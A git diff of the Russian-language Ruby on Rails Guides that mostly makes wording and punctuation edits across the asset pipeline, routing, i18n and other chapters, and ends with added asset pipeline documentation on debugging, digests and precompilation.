предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в `Gemfile`. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: +Использование опции `--skip-sprockets` предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в `Gemfile`. Так же создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: ```ruby # require "sprockets/railtie" @@ -135,11 +135,11 @@ NOTE: Вам необходим runtime, поддерживаемый ExecJS, ч Ассеты файлопровода могут быть размещены в приложении в одном из этих трех мест: `app/assets`, `lib/assets` или `vendor/assets`. -`app/assets` предназначено для ассетов, принадлежащих приложению, таких как изображения, файлы JavaScript или таблицы стилей, изготовленные специально для приложения. +* `app/assets` предназначено для ассетов, принадлежащих приложению, таких как изображения, файлы JavaScript или таблицы стилей, изготовленные специально для приложения. -`lib/assets` предназначено для кода ваших собственных библиотек, которые не вписываются в сферу применения приложения или эти библиотеки используются в нескольких приложениях. +* `lib/assets` предназначено для кода собственных библиотек, которые не вписываются в область видимости приложения или эти библиотеки являются общими для нескольких приложений. -`vendor/assets` предназначено для ассетов, принадлежащих сторонним субъектам, таких как код плагинов JavaScript и фреймворки CSS. Имейте в виду, что код третьей стороны со ссылками на другие файлы, также обрабатывающиеся файлопроводом (изображения, таблицы стилей и так далее), должен быть переписан с помощью хелперов, таких как `asset_path`. +* `vendor/assets` предназначено для ассетов, принадлежащих сторонним субъектам, таких как код плагинов JavaScript и фреймворки CSS. Имейте в виду, что код третьей стороны со ссылками на другие файлы, также обрабатывающиеся файлопроводом (изображения, таблицы стилей и так далее), должен быть переписан с помощью хелперов, таких как `asset_path`. WARNING: Если вы обновляетесь с Rails 3, примите во внимание, что ассеты в `lib/assets` или `vendor/assets` доступны для включения в манифестах приложения, но больше не являются частью массива прекомпиляции. Что делать в этом случае, смотрите [Прекомпиляция ассетов](#precompiling-assets). @@ -690,7 +690,7 @@ X-Timer: S1408912125.211638212,VS0,VE0 ##### CDN и заголовок Cache-Control -[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ассетов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ассет "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив +[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ассетов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ассет "public", что означает, что любой кэш может сохранять запрос. Также мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив ``` config.public_file_server.headers = { diff --git a/source/association_basics.md b/source/association_basics.md index 3de8f736..f148b810 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -1253,7 +1253,7 @@ end * `:destroy` приведет к тому, что связанный объект также будет уничтожен * `:delete` приведет к тому, что связанный объект будет удален из базы данных напрямую (таким образом не будут выполнены колбэки) -* `:nullify` приведет к тому, что внешний ключ будет установлен `NULL`. Колбэки не запускаются. +* `:nullify` приведет к тому, что внешний ключ будет установлен `NULL`. Колбэки не выполняются. * `:restrict_with_exception` приведет к вызову исключения, если есть связанный объект * `:restrict_with_error` приведет к ошибке, добавляемой к владельцу, если есть связанный объект @@ -1645,7 +1645,7 @@ end * `:destroy` приведет к тому, что связанные объекты также будут уничтожены * `:delete_all` приведет к тому, что связанные объекты будут удалены из базы данных напрямую (таким образом не будут выполнены колбэки) -* `:nullify` приведет к тому, что внешние ключи будет установлен `NULL`. Колбэки не запускаются. +* `:nullify` приведет к тому, что внешние ключи будет установлен `NULL`. Колбэки не выполняются. * `:restrict_with_exception` приведет к вызову исключения, если есть какой-нибудь связанный объект * `:restrict_with_error` приведет к ошибке, добавляемой к владельцу, если есть какой-нибудь связанный объект @@ -2330,7 +2330,7 @@ class Author < ApplicationRecord end ``` -Если имеется расширение, которое должно быть распространено на несколько связей, можете использовать именованный модуль расширения. Например: +Если имеется расширение, которое должно быть общим для нескольких связей, можно использовать именованный модуль расширения. Например: ```ruby module FindRecentExtension diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index a94ed4be..b2fafdc2 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -416,7 +416,7 @@ class ProductsController < ApplicationController @product = Product.find(params[:id]) # Если запрос устарел в соответствии с заданной временной меткой или значением - # etag (т.е. нуждается в обработке снова), тогда запускаем этот блок + # etag (т.е. нуждается в обработке снова), тогда выполняем этот блок if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key) respond_to do |wants| # ... обычное создание отклика diff --git a/source/command_line.md b/source/command_line.md index e923e297..bded8600 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -340,7 +340,7 @@ INFO: Можно также использовать псевдоним "r" дл $ bin/rails runner -e staging "Model.long_running_method" ``` -С помощью runner даже можно запускать код ruby, написанный в файле. +С помощью runner даже можно выполнять код ruby, написанный в файле. ```bash $ bin/rails runner lib/code_to_be_run.rb diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 3a1a9a30..658d428a 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -22,7 +22,7 @@ Ruby on Rails — это не "чей-то там фреймворк". На пр Ruby on Rails использует [GitHub Issue Tracking](https://github.com/rails/rails/issues) для отслеживания проблем (в основном, багов и нового кода). Если вы нашли баг в Ruby on Rails, нужно начать отсюда. Чтобы сообщить о проблеме, прокомментировать ее или создавать пул-реквесты, необходимо создать аккаунт (бесплатный) на GitHub. -NOTE: Багам в самой последней версии Ruby on Rails уделяется наибольшее внимание. Также, основная команда Rails всегда заинтересована в обратной связи от тех, у кого есть время потестировать _edge Rails_ (код версии Rails, которая разрабатывается в текущий момент). Позже в этом руководстве будет рассказано, как получить edge Rails для тестирования. +NOTE: Багам в самой последней версии Ruby on Rails уделяется наибольшее внимание. Также основная команда Rails всегда заинтересована в обратной связи от тех, у кого есть время потестировать _edge Rails_ (код версии Rails, которая разрабатывается в текущий момент). Позже в этом руководстве будет рассказано, как получить edge Rails для тестирования. ### Создание отчета о баге @@ -58,7 +58,7 @@ WARNING: Пожалуйста, не сообщайте об уязвимостя Иногда грань между 'баг' и 'фича' трудно провести. Как правило, фича — это все, что добавляет новое поведение, в то время как баг — это все, что вызывает неправильное поведение. Иногда основная команда будет делать личное суждение. Это означает, как правило, что различие лишь влияет на то, в какой релиз пойдет ваше изменение; они любят представление фич! Они всего лишь не портируют их в поддерживаемые ветки. -Если вы хотите получить обратную связь на идею фичи до того, как начнете работать над изменениями, напишите письмо в [список рассылки rails-core](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). Вы можете не получить откликов, что означает, что всем безразлично. Вы можете найти кого-то, кто также заинтересован в создании этой фичи. Вы можете получить "This won't be accepted." Но это подходящее место для обсуждения новых идей. GitHub Issues являются не особо хорошим местом для проведения длительных и обширных обсуждений новых фич. +Если вы хотите получить обратную связь на идею фичи до того, как начнете работать над изменениями, напишите письмо в [список рассылки rails-core](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). Вы можете не получить откликов, что означает, что всем безразлично. Вы можете найти кого-то, кто так же заинтересован в создании этой фичи. Вы можете получить "This won't be accepted." Но это подходящее место для обсуждения новых идей. GitHub Issues являются не особо хорошим местом для проведения длительных и обширных обсуждений новых фич. Помощь в разрешении существующих проблем ---------------------------------------- @@ -495,7 +495,7 @@ comparison". #### Сквош коммитов -Одной из вещей, которая может быть попрошена, является "squash your commits", которая объединит все ваши коммиты в один. Мы предпочитаем пул-реквесты с одним коммитом. Это упрощает обратное портирование в стабильные ветки, откат плохих коммитов, слежение за историей git. Rails — это большой проект, и ряд множество посторонних коммитов может добавить много шума. +Одной из вещей, которая может быть попрошена, является "squash your commits", которая объединит все ваши коммиты в один. Мы предпочитаем пул-реквесты с одним коммитом. Это упрощает обратное портирование в стабильные ветки, откат плохих коммитов, слежение за историей git. Rails — это большой проект, и ряд множество сторонних коммитов может добавить много шума. Чтобы сделать это, необходимо иметь git remote, указывающий на главный репозиторий Rails. Это в любом случае полезно, но если у вас он не настроен, сначала сделайте: diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 92def2c2..d74f01f8 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -677,7 +677,7 @@ No breakpoints. Чтобы просмотреть все активные точки перехвата, используйте `catch`. -### Возобновление исполнения +### Возобновление выполнения Есть два способа возобновления выполнения приложения, которое было остановлено отладчиком: diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index 399317c4..13259c80 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -131,7 +131,7 @@ $ sudo pacman -S memcached $ bundle exec rake test ``` -Также можно запустить тесты для отдельного компонента, например Action Pack, перейдя в его директорию и запустив ту же самую команду: +Также можно запустить тесты для отдельного компонента, например Action Pack, перейдя в его директорию и выполнив ту же самую команду: ```bash $ cd actionpack diff --git a/source/diff.diffrake b/source/diff.diffrake deleted file mode 100644 index e69de29b..00000000 diff --git a/source/engines.md b/source/engines.md index 9fc608b4..98daf65c 100644 --- a/source/engines.md +++ b/source/engines.md @@ -440,7 +440,7 @@ Engine не может найти партиал, требуемый для ре Внедрение в приложение ---------------------- -Использовать engine в приложении очень просто. Этот раздел раскрывает, как монтировать engine в приложение, требуемые начальные настройки, а также как присоединить engine к классу `User`, представленному приложением, для обеспечения принадлежности статей и комментариев в engine. +Использовать engine в приложении очень просто. Этот раздел раскрывает, как монтировать engine в приложение требуемые начальные настройки, а также как присоединить engine к классу `User`, представленному приложением, для обеспечения принадлежности статей и комментариев в engine. ### Монтирование Engine diff --git a/source/form_helpers.md b/source/form_helpers.md index a9ffd59a..f66dbbc5 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -144,7 +144,7 @@ Rails предоставляет ряд хелперов для генераци Как и у `check_box_tag`, второй параметр для `radio_button_tag` - это значение поля ввода. Так как эти две радиокнопки имеют одинаковое имя (`age`), пользователь может выбрать одну, и `params[:age]` будет содержать или `"child"`, или `"adult"`. -NOTE: Всегда используйте метки (labels) для чекбоксов и радиокнопок. Они связывают текст с определенной опцией и, предоставляя большее пространство для щелчка, упрощают выбор пользователем нужного пункта радиокнопки. +NOTE: Всегда используйте метки (labels) для чекбоксов и радиокнопок. Они связывают текст с определенной опцией и, предоставляя большее пространство для клика, упрощают выбор пользователем нужного пункта радиокнопки. ### Другие интересные хелперы @@ -638,7 +638,7 @@ NOTE: Если пользователь не выбрал файл, соотве Настройка Form Builder ---------------------- -Как ранее упоминалось, объект, который передается от `form_for` и `fields_for`, - это экземпляр `FormBuilder` (или его подкласса). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, также как можно объявить подкласс `FormBuilder` и добавить хелперы туда. Например: +Как ранее упоминалось, объект, который передается от `form_for` и `fields_for`, - это экземпляр `FormBuilder` (или его подкласса). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, так же как можно объявить подкласс `FormBuilder` и добавить хелперы туда. Например: ```erb <%= form_for @person do |f| %> diff --git a/source/generators.md b/source/generators.md index 6fa2a1f2..8998c136 100644 --- a/source/generators.md +++ b/source/generators.md @@ -48,7 +48,7 @@ end NOTE: `create_file` - это метод, представленный `Thor::Actions`. Документация по `create_file` и другим методам Thor находится в [документации по Thor](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) -Наш новый генератор очень прост: он наследуется от `Rails::Generators::Base` и содержит одно определение метода. Когда генератор вызывается, каждый публичный метод в генераторе запускается в порядке, в котором он определен. Наконец, мы вызываем метод `create_file`, который создаст файл в указанном месте с указанным содержимым. Если вы знакомы с Rails Application Templates API, API генераторов покажется вам очень знакомым. +Наш новый генератор очень прост: он наследуется от `Rails::Generators::Base` и содержит одно определение метода. Когда генератор вызывается, каждый публичный метод в генераторе выполняется в порядке, в котором он определен. Наконец, мы вызываем метод `create_file`, который создаст файл в указанном месте с указанным содержимым. Если вы знакомы с Rails Application Templates API, API генераторов покажется вам очень знакомым. Чтобы вызвать наш новый генератор, нужно всего лишь выполнить: @@ -128,7 +128,7 @@ class InitializerGenerator < Rails::Generators::NamedBase end ``` -И запустим наш генератор: +И выполним наш генератор: ```bash $ bin/rails generate initializer core_extensions diff --git a/source/getting_started.md b/source/getting_started.md index 3fb23df2..e823b687 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -124,7 +124,7 @@ $ cd blog |README.md |Это вводный мануал для вашего приложения. Его следует отредактировать, чтобы рассказать остальным, что ваше приложение делает, как его настроить, и т.п.| |test/ |Юнит-тесты, фикстуры и прочий аппарат тестирования. Это раскрывается в руководстве [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications)| |tmp/ |Временные файлы (такие как файлы кэша и pid)| -|vendor/ |Место для кода внешних разработчиков. В типичном приложении на Rails включает внешние гемы.| +|vendor/ |Место для кода сторонних разработчиков. В типичном приложении на Rails включает внешние гемы.| |.gitignore |Этот файл сообщает git, какие файлы (явно или по шаблону) ему следует игнорировать. Подробнее об игнорировании файлов смотрите [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files).| |.ruby-version |Этот файл содержит дефолтную версию Ruby.| @@ -477,7 +477,7 @@ TIP: Для подробностей о миграциях Rails обратит $ bin/rails db:migrate ``` -Rails запустит эту команду миграции и сообщит, что он создал таблицу Articles. +Rails выполнит эту команду миграции и сообщит, что он создал таблицу Articles. ```bash == CreateArticles: migrating ================================================== @@ -486,7 +486,7 @@ Rails запустит эту команду миграции и сообщит, == CreateArticles: migrated (0.0020s) ========================================= ``` -NOTE: Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в разделе `development` вашего файла `config/database.yml`. Если хотите запустить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `bin/rails db:migrate RAILS_ENV=production`. +NOTE: Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в разделе `development` вашего файла `config/database.yml`. Если хотите выполнить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `bin/rails db:migrate RAILS_ENV=production`. ### Сохранение данных в контроллере @@ -1168,7 +1168,7 @@ end $ bin/rails db:migrate ``` -Rails достаточно сообразителен, чтобы запускать только те миграции, которые еще не были запущены для текущей базы данных, в нашем случае Вы увидите: +Rails достаточно сообразителен, чтобы выполнять только те миграции, которые еще не были запущены для текущей базы данных, в нашем случае Вы увидите: ```bash == CreateComments: migrating ================================================= diff --git a/source/i18n.md b/source/i18n.md index 86b9efd3..fb52454f 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -107,7 +107,7 @@ NOTE: В библиотеке i18n принят **прагматичный по NOTE: Бэкенд лениво загружает эти переводы, когда ищет перевод в первый раз. Этот бэкенд может быть переключен на что-то иное даже после того, как переводы были объявлены. -Можно изменить локаль по умолчанию, также как и настроить пути загрузки переводов, в `config/application.rb` следующим образом: +Можно изменить локаль по умолчанию, так же как и настроить пути загрузки переводов, в `config/application.rb` следующим образом: ```ruby config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] @@ -634,7 +634,7 @@ I18n.t [:odd, :even], scope: 'errors.messages' # => ["must be odd", "must be even"] ``` -Также, ключ может перевести хэш (потенциально вложенный) сгруппированных переводов. Т.е. следующее получит _все_ сообщения об ошибке Active Record как хэш: +Также ключ может перевести хэш (потенциально вложенный) сгруппированных переводов. Т.е. следующее получит _все_ сообщения об ошибке Active Record как хэш: ```ruby I18n.t 'activerecord.errors.messages' @@ -1067,7 +1067,7 @@ I18n.t :short, scope: [:date, :formats] ### Использование различных бэкендов -По некоторым причинам простой бэкенд, поставляющийся с Active Support, осуществляет только "простейшие вещи, в которых возможна работа" _Ruby on Rails_ (или, цитируя Википедию, Интернационализация это процесс разработки программного обеспечения таким образом, что оно может быть адаптировано к различным языкам и регионам без существенных инженерных изменений. Локализация это процесс адаптации программы для отдельного региона или языка с помощью добавления специфичных для локали компонентов и перевод текстов), что означает то, что гарантируется работа для английского и, как побочный эффект, для схожих с английским языков. А также, простой бэкенд способен только читать переводы, а не динамически хранить их в каком-либо формате. +По некоторым причинам простой бэкенд, поставляющийся с Active Support, осуществляет только "простейшие вещи, в которых возможна работа" _Ruby on Rails_ (или, цитируя Википедию, Интернационализация это процесс разработки программного обеспечения таким образом, что оно может быть адаптировано к различным языкам и регионам без существенных инженерных изменений. Локализация это процесс адаптации программы для отдельного региона или языка с помощью добавления специфичных для локали компонентов и перевод текстов), что означает то, что гарантируется работа для английского и, как побочный эффект, для схожих с английским языков. Также простой бэкенд способен только читать переводы, а не динамически хранить их в каком-либо формате. Впрочем, это не означает, что вы связаны этими ограничениями. Гем Ruby I18n позволяет с легкостью заменить простой бэкенд на что-то иное, более предпочтительное для ваших нужд. К примеру можно заменить его на бэкенд Globalize's Static: diff --git a/source/initialization.md b/source/initialization.md index 9ef62baf..dd912871 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -10,7 +10,7 @@ * Когда различные файлы подключаются в процессе загрузки. * Как определен и используется интерфейс Rails::Server. -Это руководство рассмотрит каждый вызов методов, требуемых для загрузки стека Ruby on Rails для нового приложения на Rails, объяснив подробно каждую встреченную часть кода. Для целей этого руководства мы сосредоточимся на том, что произойдет при запуске `rails server` для загрузки вашего приложения. +Это руководство рассмотрит каждый вызов методов, требуемых для загрузки стека Ruby on Rails для нового приложения на Rails, объяснив подробно каждую встреченную часть кода. Для целей этого руководства мы сосредоточимся на том, что произойдет при выполнении `rails server` для загрузки вашего приложения. NOTE: Пути в этом руководстве указаны относительно Rails или приложения Rails, если не оговорено иное. @@ -40,9 +40,9 @@ require "rails/cli" ### `railties/lib/rails/app_loader.rb` -Основной целью функции `exec_app` является запуск `bin/rails` вашего приложения. Если в текущей директории нет `bin/rails`, она будет переходить на уровень вверх, пока не найдет исполняемый файл `bin/rails`. Поэтому он может быть вызван с помощью команды `rails` из любого места внутри вашего приложения. +Основной целью функции `exec_app` является выполнение `bin/rails` приложения. Если в текущей директории нет `bin/rails`, она будет переходить на уровень вверх, пока не найдет исполняемый файл `bin/rails`. Поэтому он может быть вызван с помощью команды `rails` из любого места внутри приложения. -Эквивалентом для `rails server` является запуск следующей команды: +Эквивалентом для `rails server` является выполнение следующей команды: ```bash $ exec ruby bin/rails server @@ -378,7 +378,7 @@ def start &blk end ``` -Самой интересной частью для приложения Rails является последняя строчка, `server.run`. Здесь мы снова сталкиваемся с методом `wrapped_app`, но на этот раз мы собираемся копнуть глубже (несмотря на то, что он уже был запущен ранее, и поэтому сейчас возвратится просто запомненный результат). +Самой интересной частью для приложения Rails является последняя строчка, `server.run`. Здесь мы снова сталкиваемся с методом `wrapped_app`, но на этот раз мы собираемся копнуть глубже (несмотря на то, что он уже был выполнен ранее, и поэтому сейчас возвратится просто запомненный результат). ```ruby @wrapped_app ||= build_app app diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 085ed334..cdb91671 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -548,7 +548,7 @@ end * `app/views/admin/` * `app/views/application/` -Это делает `app/views/application/` хорошим местом для ваших общих партиалов, которые затем могут быть отрендерены в вашем ERB так: +Это делает `app/views/application/` хорошим местом для общих партиалов, которые затем могут быть отрендерены в ERB следующим образом: ```erb <%# app/views/admin/products/index.html.erb %> @@ -1035,7 +1035,7 @@ WARNING: Обратите внимание, что нужно указывать <%= render "shared/footer" %> ``` -Здесь партиалы `_ad_banner.html.erb` и `_footer.html.erb` могут содержать контент, размещенный на многих страницах вашего приложения. Нет необходимости видеть части разметки этих разделов, когда сосредотачиваетесь на определенной странице. +Здесь партиалы `_ad_banner.html.erb` и `_footer.html.erb` могут содержать контент, общий для многих страниц приложения. Нет необходимости видеть код этих разделов, чтобы сконцентрироваться на определенной странице. Как видно из предыдущих разделов данного руководства, `yield` является очень мощным инструментом для очистки ваших макетов. Имейте в виду, что это чистый Ruby, так что можно использовать его практически везде. Например, его можно использовать для соблюдения принципа DRY при определении макета формы для нескольких похожих ресурсов: @@ -1073,7 +1073,7 @@ WARNING: Обратите внимание, что нужно указывать <% end %> ``` -TIP: Для содержимого, располагаемого на всех страницах вашего приложения, можете использовать партиалы прямо в макетах. +TIP: Для содержимого, общего для всех страниц приложения, можно использовать партиалы прямо в макетах. #### Макеты партиала diff --git a/source/plugins.md b/source/plugins.md index 5064bce6..bdefe855 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -23,7 +23,7 @@ Настройка --------- -В настоящий момент плагины Rails создаются как гемы, _gem_. Они могут использоваться различными приложениями Rails с помощью RubyGems и Bundler. +В настоящее время плагины Rails создаются как гемы (_gemified plugins_). Они могут использоваться сразу несколькими приложениями Rails с помощью RubyGems и Bundler. ### Создание гема. @@ -431,7 +431,7 @@ gem "yaffle", git: "https://github.com/rails/yaffle.git" После запуска `bundle install` функционал вашего гема будет доступен в приложении. -Когда гем будет готов стать доступным в виде формального релиза, он может быть опубликован на [RubyGems](https://www.rubygems.org). Подробнее о публикации гемов на RubyGems смотрите: [Publishing Your First Ruby Gem](http://guides.rubygems.org/publishing) +Когда гем готов к официальному релизу, он может быть опубликован на [RubyGems](https://rubygems.org). Подробнее о публикации гемов на RubyGems смотрите: [Publishing your gem](http://guides.rubygems.org/publishing) Документация RDoc ----------------- diff --git a/source/rails_application_templates.md b/source/rails_application_templates.md index 68338b71..a4cbabe3 100644 --- a/source/rails_application_templates.md +++ b/source/rails_application_templates.md @@ -167,7 +167,7 @@ generate(:scaffold, "person", "name:string", "address:text", "age:number") ### `run(command)` -Запускает произвольную команду, как открывающая кавычка. Допустим, вы хотите удалить файл `README.rdoc`: +Выполняет произвольную команду, как открывающая кавычка. Допустим, вы хотите удалить файл `README.rdoc`: ```ruby run "rm README.rdoc" @@ -256,7 +256,7 @@ after_bundle do end ``` -Колбэки выполняется даже если `--skip-bundle` и/или `--skip-spring` были переданы. +Колбэки выполняется, даже если `--skip-bundle` и/или `--skip-spring` были переданы. Продвинутое использование ------------------------- diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index 2579b9ff..abfbfbdc 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -125,7 +125,7 @@ run MyApp::Application.routes ### Настройка стека промежуточных программ -Rails предоставляет простой конфигурационных интерфейс `config.middleware` для добавления, удаления и изменения промежуточных программ в стеке промежуточных программ, из `application.rb` или конфигурационного файла определенной среды `environments/.rb`. +Rails предоставляет простой конфигурационный интерфейс `config.middleware` для добавления, удаления и изменения промежуточных программ в стеке промежуточных программ, из `application.rb` или конфигурационного файла определенной среды `environments/.rb`. #### Добавление промежуточной программы @@ -257,7 +257,7 @@ config.middleware.delete Rack::MethodOverride **`ActionDispatch::Callbacks`** -* Предоставляет колбэки для запуска до и после обработки запроса. +* Предоставляет колбэки для выполнения до и после направления запроса. **`ActiveRecord::Migration::CheckPending`** diff --git a/source/routing.md b/source/routing.md index d0f0c5a9..ba46fa34 100644 --- a/source/routing.md +++ b/source/routing.md @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и сопоставляет его с экшном контроллера или с приложением Rack. Он также может генерировать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. +Роутер Rails распознает URL и направляет его в экшн контроллера или в приложение Rack. Он также может генерировать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. ### Соединение URL с кодом @@ -75,7 +75,7 @@ DELETE /photos/17 resources :photos ``` -Rails отправит этот запрос в экшн `destroy` контроллера `photos` с `{ id: '17' }` в `params`. +Rails будет направлять этот запрос в экшн `destroy` контроллера `photos` с `{ id: '17' }` в `params`. ### CRUD, методы и экшны @@ -1088,7 +1088,7 @@ Rails предлагает инструменты для осмотра и те ### Список существующих маршрутов -Чтобы получить полный список всех доступных маршрутов вашего приложения, посетите `http://localhost:3000/rails/info/routes` в браузере, в то время как ваш сервер запущен в режиме **development**. Команда `rails routes`, запущенная в терминале, выдаст тот же результат. +Чтобы получить полный список всех доступных маршрутов вашего приложения, посетите `http://localhost:3000/rails/info/routes` в браузере, в то время как ваш сервер запущен в режиме **development**. Команда `rails routes`, выполненная в терминале, выдаст тот же результат. Оба метода напечатают все ваши маршруты, в том же порядке, что они появляются в `config/routes.rb`. Для каждого маршрута вы увидите: diff --git a/source/security.md b/source/security.md index 7e5f58dd..1bc971f8 100644 --- a/source/security.md +++ b/source/security.md @@ -260,7 +260,7 @@ _Запросы POST также могут быть посланы автома ``` -Имеется множество других возможностей, наподобие использования тега ` + + +``` + +Параметр `body` требуется Sprockets. + +### Вызов ошибки, если ассет не найден + +Если используется sprockets-rails >= 3.2.0, можно настроить, что произойдет, когда выполнен поиск ассета, и ничего не было найдено. Если выключить "asset fallback", тогда будет вызвана ошибка, когда ассет не может быть найден. + +```ruby +config.assets.unknown_asset_fallback = false +``` + +Если "asset fallback" включен, тогда, когда ассет не может быть найден, вместо этого будет выведен путь, а не вызвана ошибка. Поведение "asset fallback" включено по умолчанию. + +### Отключение меток + +Можно отключить метки, добавив в `config/environments/development.rb`: + +```ruby +config.assets.digest = false +``` + +Когда эта опция true, для URL ассета будет генерироваться метка. + +### Отключение отладки + +Можно отключить режим отладки, обновив `config/environments/development.rb`, вставив: + +```ruby +config.assets.debug = false +``` + +Когда режим отладки отключен, Sprockets соединяет все файлы и запускает необходимые препроцессоры. С отключенным режимом отладки вышеуказанный манифест сгенерирует: + +```html + +``` + +Ассеты компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP-заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). + +Если какой-либо из файлов в манифесте изменился между запросами, сервер возвращает новый скомпилированный файл. + +Режим отладки также может быть включен в методе хелпера Rails: + +```erb +<%= stylesheet_link_tag "application", debug: true %> +<%= javascript_include_tag "application", debug: true %> +``` + +Опция `:debug` излишняя, если режим отладки всегда включен. + +Также можно включить сжатие в режиме development в качестве проверки на нормальность и отключать его по требованию, когда необходимо для отладки. + +(in-production) В production +---------------------------- + +В среде production Sprockets использует схему меток, [описанную ранее](#what-is-the-asset-pipeline). По умолчанию Rails полагает, что ассеты прекомпилированы и будут отданы как статичные ассеты вашим веб-сервером. + +В течение фазы прекомпиляции из содержимого компилированных файлов генерируется SHA256 и вставляется в имена файлов, когда они записываются на диск. Эти имена меток используются хелперами Rails вместо имени манифеста. + +Например, это: + +```erb +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +``` + +сгенерирует что-то наподобие этого: + +```html + + +``` + +NOTE: с Asset Pipeline опции `:cache` и `:concat` больше не используются, удалите эти опции из `javascript_include_tag` и `stylesheet_link_tag`. + +Режим меток контролируется с помощью инициализационной опции `config.assets.digest` (которая по умолчанию `true`). + +NOTE: В нормальных обстоятельствах опция `config.assets.digest` по умолчанию не должна изменяться. Если нет дайджеста в именах файлов и установлены заголовки с вечным кэшированием, удаленные клиенты никогда не узнают, когда перезапросить файлы при изменении их содержимого. + +### (precompiling-assets) Прекомпиляция ассетов + +В Rails имеется встроенная задача для компиляции на диск манифестов ассетов и других файлов в файлопроводе. + +Скомпилированные ассеты записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. + +Эту задачу можно вызвать на сервере во время деплоя, чтобы создать скомпилированные версии ассетов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. + +Задача такая: + +```bash +$ RAILS_ENV=production bin/rails assets:precompile +``` + +Capistrano (версии 2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строчку в `Capfile`: + +```erb +load 'deploy/assets' +``` + +Это свяжет папку, указанную в `config.assets.prefix` с `shared/assets`. Если вы уже используете эту общую папку, вам следует написать собственную задачу для деплоя. + +Важно то, что эта папка является общей между деплоями, так что удаленно кэшированные страницы, ссылающиеся на старые скомпилированные ассеты, все еще будут работать, пока не истечет срок кэширования. + +По умолчанию компилирующиеся файлы включают `application.js`, `application.css` и все не-JS/CSS файлы (это автоматически включает все ассеты изображений) из папок `app/assets`, включая гемы: + +```ruby +[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, +/application.(css|js)$/ ] +``` + +NOTE. Условие отбора (и другие части прекомпиляционного массива; смотрите выше) применяется к итоговым скомпилированным именам файлов. Это означает, что все, что компилируется в JS/CSS, исключается, так же, как и файлы с чистым JS/CSS; например, файлы `.coffee` и `.scss` *не* включаются автоматически, так как они компилируются в JS/CSS. + +Если у вас имеются для включения другие манифесты 